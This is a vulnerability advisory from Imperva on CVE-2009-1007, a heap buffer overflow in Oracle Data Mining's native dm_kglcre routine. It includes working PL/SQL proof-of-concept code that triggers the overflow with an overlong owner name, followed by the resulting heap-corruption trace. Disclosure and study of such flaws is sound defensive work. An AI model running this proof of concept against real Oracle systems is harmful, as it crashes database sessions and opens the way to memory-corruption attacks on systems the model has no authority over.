CVE-2009-1007: Oracle Data Mining – Buffer Overflow Vulnerability

Background

Oracle released in its October 2008 patch a fix for a buffer overflow vulnerability identified as CVE-2008-3989. The vulnerability is related to the Oracle Data Miner functionality which is implemented using a combination of PL/SQL code and native code shared libraries.

Scope

Imperva's Application Defense Center is conducting an extensive research of the Oracle DBMS and Oracle packages. As part of the research we came to suspect that the fix delivered in the October 2008 CPU for the specific vulnerability is incomplete.

Findings

It seems that the fix in the ODM_MODEL_UTIL package was to validate parameters of the DM_KGLOBJ_CREATE procedure before calling the DM_KGLCREATE function. This latter function is a stub for native code. Hence we concluded that the actual issue lies within the native code that actually implements the data mining functionality. We then proceeded to call the native code directly which seems to invoke an fatal error.

Details

A user with CREATE FUNCTION privileges can create a function mapped to dm_kglcre of the DMSYS.DMUTIL_LIB library and invoke the underlying vulnerable native code with a long value in the owner_name parameter. This will invoke a heap error and terminate the connection and thread.

Exploit

Creating a function:

```
CREATE OR REPLACE FUNCTION my_bo (MODEL_NAME IN VARCHAR2, OWNER_NAME IN
VARCHAR2)
    RETURN BINARY_INTEGER
    AS LANGUAGE C
    NAME "dm_kglcre"
    LIBRARY DMSYS.DMUTIL_LIB
    WITH CONTEXT
    PARAMETERS (CONTEXT,
                MODEL_NAME OCISTRING,
                MODEL_NAME INDICATOR SB2,
                OWNER_NAME OCISTRING,
                OWNER_NAME INDICATOR SB2,
                RETURN INT);
/
```

Using the function to BO the thread:

```
declare
         a varchar2(8000);
         b binary_integer;
begin
       a := 'aaaaaaaaaaaaaaaa';
       a := a || a;
       a := a || a;
       a := a || a;
       a := a || a;
       a := a || a;
       a := a || a;
       a := a || a;
       select my_bo('eimcp',a) into b from dual;
end;
/
```

Results in error log:

```
Dump file c:\oracle\product\10.2.0\admin\orcl\udump\orcl_ora_3444.trc
Tue Jan 20 11:28:48 2009
ORACLE V10.2.0.3.0 - Production vsnsta=0
vsnsql=14 vsnxtr=3
Oracle Database 10g Enterprise Edition Release 10.2.0.3.0 - Production
With the Partitioning, OLAP, Data Mining and Real Application Testing options
Windows Server 2003 Version V5.2
CPU                 : 2 - type 586, 2 Physical Cores
Process Affinity    : 0x00000000
Memory (Avail/Total): Ph:1355M/2039M, Ph+PgF:1902M/2661M, VA:1291M/2047M
Instance name: orcl

Redo thread mounted by this instance: 1

Oracle process number: 22

Windows thread id: 3444, image: ORACLE.EXE (SHAD)


*** 2009-01-20 11:28:48.875
*** ACTION NAME:() 2009-01-20 11:28:48.875
*** MODULE NAME:(T.O.A.D.) 2009-01-20 11:28:48.875
*** SERVICE NAME:(orcl) 2009-01-20 11:28:48.875
*** SESSION ID:(146.3158) 2009-01-20 11:28:48.875
***** Internal heap ERROR kghfrh1 addr=00000000 ds=07C2FB14 *****
*****************************************************
HEAP DUMP heap name="aaaaaaaaaaaaaaa"  desc=07C2FB14
 extent sz=0x61616161 alt=24929 het=24929 rec=97 flg=97 opc=97
 parent=61616161 owner=61616161 nex=61616161 xsz=0x61616161
```

```
EXTENT 0 addr=61616161
ERROR, BAD EXTENT ADDRESS IN DS(61616161)
***** Dump of memory around addr 07C2FB14:
7C2EB10          00000000 00000000 00000000      [............]
7C2EB20 00000000 00000000 00000000 00000000  [................]
        Repeat 132 times
7C2F370 00000431 07C2A350 0851C780 0851BEE8  [1...P.....Q...Q.]
7C2F380 07C2F7BC 5000041D 00000000 00000000  [.......P......
```

Tested Versions

Vulnerable:

Oracle Database 10.2.0.3 (January 2009 patch)

Not Vulnerable:

Oracle Database 11.1.0.6 (January 2009 patch)

Vendor Status

Vendor notified: January 20, 2009

Patch Issued: October 20, 2009

Discovered By

Amichai Shulman and Yaniv Azaria from Imperva's ADC